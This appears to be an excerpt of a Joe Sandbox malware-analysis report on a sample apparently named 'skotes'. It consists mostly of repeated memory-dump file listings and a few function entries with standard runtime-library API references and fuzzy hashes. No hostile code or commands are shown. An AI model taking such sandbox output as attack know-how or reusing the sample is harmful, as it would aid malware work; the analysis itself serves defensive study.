Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 573a6dd53910ed5c4a6341dcc5116334884dcf5f0b80fa284b824e049489a45d
Instruction ID: 4cf2169cc4402dbac5669a87a40d4083dc72957b3a2f5567fb22f73cc58b6f16
Opcode Fuzzy Hash: 573a6dd53910ed5c4a6341dcc5116334884dcf5f0b80fa284b824e049489a45d
Instruction Fuzzy Hash: 8C3185B1A00606EFCF14DFA8C4959EDF7B1BF88710B54822EE516A7781DB38AD41CB90

Function 007BBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 007BBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBBE4
_xtime_get.LIBCPMT ref: 007BBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 007BBC13

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 41393a740baf18c5b7f79d80e5a879a6099d27538e2712b0f112d3cb9fbcee95
Instruction ID: 53f51b03a251172b42ef9df421c510e2fc7fc8c6899231c4211cb82d657e5bab
Opcode Fuzzy Hash: 41393a740baf18c5b7f79d80e5a879a6099d27538e2712b0f112d3cb9fbcee95
Instruction Fuzzy Hash: 0521ED76A00119EFDF01EFA4D885AFEBBB9EF48714F108065F901A7251DB789D019BA1

Function 007C9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007C9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 007C9CE8
std::bad_exception::bad_exception.LIBCMT ref: 007C9CFE
std::bad_exception::bad_exception.LIBCMT ref: 007C9D6A

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 79371dab59839ca3ca71d086bb99e7bb866e1ad1c546709fb1dc5be6fd2b422b
Instruction ID: 9dd1d80f153e164160fc7445cac531331f6219f4ceba82d5dc8bcf17527cfa91
Opcode Fuzzy Hash: 79371dab59839ca3ca71d086bb99e7bb866e1ad1c546709fb1dc5be6fd2b422b
Instruction Fuzzy Hash: A0216576A04519DFDB45EF64D48EEADB7B4AF05710B20406DF202BB251EF39AD01CB61

Function 007CA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 007CA069

Part of subcall function 007CB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 007CB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 007CA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 007CA0CB

Part of subcall function 007CAB41: List.LIBCONCRT ref: 007CAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 007CA0DB

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 64cbbb28baffc40a7df5f7ee23769dcdbcfa17ad04616512d5223f7fb8d5439a
Instruction ID: 90f2220733c35f866f77641443dc9c16cc5798fefb7b0cefdf08085bdec5ab3a
Opcode Fuzzy Hash: 64cbbb28baffc40a7df5f7ee23769dcdbcfa17ad04616512d5223f7fb8d5439a
Instruction Fuzzy Hash: FC21AC31900A18EFCB24EF65D891DAAF3F9FF48304700495EE442A7651DB78F901CBA2

Function 007C4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007C4893
ListArray.LIBCONCRT ref: 007C48A5

Part of subcall function 007C5555: _InternalDeleteHelper.LIBCONCRT ref: 007C5564

ListArray.LIBCONCRT ref: 007C48AF
_InternalDeleteHelper.LIBCONCRT ref: 007C48C8

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
